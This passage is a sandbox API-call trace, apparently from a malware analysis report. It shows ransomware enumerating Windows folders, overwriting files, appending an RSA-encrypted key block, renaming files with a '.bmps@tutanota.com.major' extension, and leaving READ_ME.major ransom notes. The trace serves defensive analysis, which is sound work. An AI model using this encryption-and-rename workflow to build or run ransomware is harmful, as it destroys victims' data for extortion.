0xae [0143.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0143.941] WriteFile (in: hFile=0x594, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0143.941] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0143.941] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0143.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0143.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0143.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="aD4KrZJbusq2dzMQc9JmhGUOrXJ5P0lvtkM6rP52eiHrI76vemntm6LQMdJAq8Cp\nvJlD8V+7o4YbYqzEBH3Y5U/DJHWDUOrgBIyZ9nm1ye3xYiyYnZYnNMdFyn8wLQmc\noNKpEBwcsO/fAxhr/bzatkYY5IQmk536nOis56PDykTOHYerC7YxoRL9l+laII89\n7u2NVxIoQE/8wjf5yGobUoUXwwynDol8yWVNN4rkguEfHoyNeC+3NOaKfQMkb5DP\nU0mZUOlhLfGdoo0KIRMTTUhy3uuDthETVUAc4c2wi4MVyBAx/wKhRGeHwrLrrI8/\nb/r+Vr/UhNy2UesKXFbfkA==\n", pcchString=0x2e3f9a8) returned 1 [0143.941] WriteFile (in: hFile=0x594, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0143.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0143.941] WriteFile (in: hFile=0x594, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0143.941] CloseHandle (hObject=0x594) returned 1 [0143.942] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0143.942] MoveFileExW (lpExistingFileName="\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), lpNewFileName="\\Users\\Public\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0143.943] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\2052\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc6e174f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eb68 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0143.943] GetLastError () returned 0x0 [0143.943] SetLastError (dwErrCode=0x0) [0143.943] GetLastError () returned 0x0 [0143.943] SetLastError (dwErrCode=0x0) [0143.943] GetLastError () returned 0x0 [0143.943] SetLastError (dwErrCode=0x0) [0143.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0143.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0143.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e9a8 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e9a8 | out: hHeap=0x570000) returned 1 [0143.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0143.944] FindNextFileW (in: hFindFile=0x60eb68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc6e174f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.944] GetLastError () returned 0x0 [0143.944] SetLastError (dwErrCode=0x0) [0143.944] GetLastError () returned 0x0 [0143.944] SetLastError (dwErrCode=0x0) [0143.944] GetLastError () returned 0x0 [0143.944] SetLastError (dwErrCode=0x0) [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eda8 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eda8 | out: hHeap=0x570000) returned 1 [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0143.944] FindNextFileW (in: hFindFile=0x60eb68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea355be9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DWINTL20.DLL", cAlternateFileName="")) returned 1 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.944] GetLastError () returned 0x0 [0143.944] SetLastError (dwErrCode=0x0) [0143.944] GetLastError () returned 0x0 [0143.944] SetLastError (dwErrCode=0x0) [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.944] GetLastError () returned 0x0 [0143.944] SetLastError (dwErrCode=0x0) [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0143.945] FindNextFileW (in: hFindFile=0x60eb68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6e174f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc6e174f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6e174f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0143.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.945] GetLastError () returned 0x0 [0143.945] SetLastError (dwErrCode=0x0) [0143.945] GetLastError () returned 0x0 [0143.945] SetLastError (dwErrCode=0x0) [0143.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0143.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.945] GetLastError () returned 0x0 [0143.945] SetLastError (dwErrCode=0x0) [0143.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.945] FindNextFileW (in: hFindFile=0x60eb68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6e174f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc6e174f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6e174f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0143.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.945] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.945] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\2052\\DWINTL20.DLL", dwFileAttributes=0x80) returned 1 [0143.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0143.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0143.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0143.945] CreateFileW (lpFileName="\\Windows10Upgrade\\2052\\DWINTL20.DLL" (normalized: "c:\\windows10upgrade\\2052\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x598 [0143.946] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=118472) returned 1 [0143.946] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1cec8) returned 0x2f60050 [0143.946] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1cec8) returned 0x2f7cf20 [0143.946] ReadFile (in: hFile=0x598, lpBuffer=0x2f60050, nNumberOfBytesToRead=0x1cec8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesRead=0x2e3f9b4*=0x1cec8, lpOverlapped=0x0) returned 1 [0143.966] SetFilePointer (in: hFile=0x598, lDistanceToMove=-118472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.966] WriteFile (in: hFile=0x598, lpBuffer=0x2f7cf20*, nNumberOfBytesToWrite=0x1cec8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f7cf20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1cec8, lpOverlapped=0x0) returned 1 [0143.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0143.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f7cf20 | out: hHeap=0x570000) returned 1 [0143.968] SetFilePointer (in: hFile=0x598, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1cec8 [0143.968] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0143.968] WriteFile (in: hFile=0x598, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0143.968] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0143.968] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0143.968] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0143.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0143.968] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="NR6fKFWTjNOM3fvT+boszUcabUKZVBdoOh7Qfg6mxMyu5BhBrGDiMI6mJaMbvvQx\nCsTYhdAitSRuO2/zdFajp7YJjVP22w5R3uCU3roCbxAbow8sSGJV1XCUk4lXobbd\nTH1unAQ+ltrSzs5nhhWONKnuty0ULvus0ZdgaeXzQK4smoM2Ji7acsYUGUjq38Tu\n0hDhjuKa3a0nvvmF4EM0DyL4va1WUhPqyVqOoV+uU30KHKFfN8/yCF9JI1bmj5GD\nYzpF1z6iUt2G+ge/sQSh5qdPYPs9VzTjs0Pav3GV/IEdQQyV0wPxllZ99LJOEuoy\nB2wV/V9hwRnP0gveWWjBjA==\n", pcchString=0x2e3f9a8) returned 1 [0143.968] WriteFile (in: hFile=0x598, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0143.968] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0143.968] WriteFile (in: hFile=0x598, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0143.969] CloseHandle (hObject=0x598) returned 1 [0143.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0143.969] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\2052\\DWINTL20.DLL" (normalized: "c:\\windows10upgrade\\2052\\dwintl20.dll"), lpNewFileName="\\Windows10Upgrade\\2052\\DWINTL20.DLL.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\2052\\dwintl20.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0144.017] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\dll1\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc7fae1b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ee28 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0144.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0144.017] GetLastError () returned 0x0 [0144.017] SetLastError (dwErrCode=0x0) [0144.017] GetLastError () returned 0x0 [0144.017] SetLastError (dwErrCode=0x0) [0144.017] GetLastError () returned 0x0 [0144.017] SetLastError (dwErrCode=0x0) [0144.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0144.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ece8 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ece8 | out: hHeap=0x570000) returned 1 [0144.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0144.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.018] FindNextFileW (in: hFindFile=0x60ee28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc7fae1b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0144.018] GetLastError () returned 0x0 [0144.018] SetLastError (dwErrCode=0x0) [0144.018] GetLastError () returned 0x0 [0144.018] SetLastError (dwErrCode=0x0) [0144.018] GetLastError () returned 0x0 [0144.018] SetLastError (dwErrCode=0x0) [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ea28 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ea28 | out: hHeap=0x570000) returned 1 [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.018] FindNextFileW (in: hFindFile=0x60ee28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea376b75, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea376b75, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x204c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cosqueryxp.dll", cAlternateFileName="COSQUE~1.DLL")) returned 1 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.018] GetLastError () returned 0x0 [0144.018] SetLastError (dwErrCode=0x0) [0144.018] GetLastError () returned 0x0 [0144.018] SetLastError (dwErrCode=0x0) [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.018] GetLastError () returned 0x0 [0144.018] SetLastError (dwErrCode=0x0) [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0144.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0144.018] FindNextFileW (in: hFindFile=0x60ee28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc70791d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc70791d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc7fae1b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0144.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0144.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0144.019] FindNextFileW (in: hFindFile=0x60ee28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea377ed3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x3b0c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wdscore.dll", cAlternateFileName="")) returned 1 [0144.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 